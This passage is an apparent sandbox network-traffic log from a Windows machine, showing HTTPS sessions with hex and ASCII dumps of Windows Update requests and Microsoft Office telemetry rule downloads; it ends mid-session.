<L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:01 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ZGkWDSgVUswXLA9&MD=gO2EpeLL HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-22 03:12:02 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: ad0438f4-407b-427e-b2d4-d91103451093 MS-RequestId: ecfcaa01-207e-4d68-9c75-e32a3d316106 MS-CV: j4956kPam0K133yX.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 03:12:01 GMT Connection: close Content-Length: 30005
2024-11-22 03:12:02 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-22 03:12:02 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.4	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:02 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:02 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:02 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 7268c357-001e-0066-5863-3b561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031202Z-178bfbc474b9fdhphC1NYCac0n00000002ag00000000a8rq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:02 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.4	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:02 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:02 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:02 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 3ae325a6-f01e-001f-6051-3c5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031202Z-15b8b599d88cn5thhC1TEBqxkn00000000rg000000009urk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:02 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.4	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:02 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:02 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:02 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 5299024a-c01e-0079-4d47-3ce51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031202Z-174c587ffdfmrvb9hC1TEBtn3800000000t000000000hmgp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:02 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.4	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:02 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:02 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:02 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 89a9fa5c-d01e-0017-5438-3cb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031202Z-178bfbc474bvjk8shC1NYC83ns000000028g000000007w9f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:02 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:02 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:02 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:02 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f3d0c3d3-f01e-003c-676b-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031202Z-178bfbc474bvjk8shC1NYC83ns000000023g00000000rfzq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:02 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:04 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:04 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:04 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: a6bfa609-001e-00a2-4d66-3bd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031204Z-178bfbc474b7cbwqhC1NYC8z4n000000026g00000000kxcf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:04 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:04 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:04 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:04 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 02a2c6fa-b01e-0001-107b-3b46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031204Z-178bfbc474b9fdhphC1NYCac0n00000002a000000000br90 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:04 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:04 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:04 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:04 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 81892826-901e-00ac-7050-3cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031204Z-15b8b599d88cn5thhC1TEBqxkn00000000sg0000000078ge x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:04 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:04 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:04 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:04 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 6ebbc676-001e-005a-784b-3cc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031204Z-15b8b599d88z9sc7hC1TEBkr4w00000000vg00000000mgq9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:04 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:04 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:04 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:04 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: ce5ebd39-a01e-0053-183c-3c8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031204Z-15b8b599d889fz52hC1TEB59as00000000tg00000000bu82 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:04 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:06 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
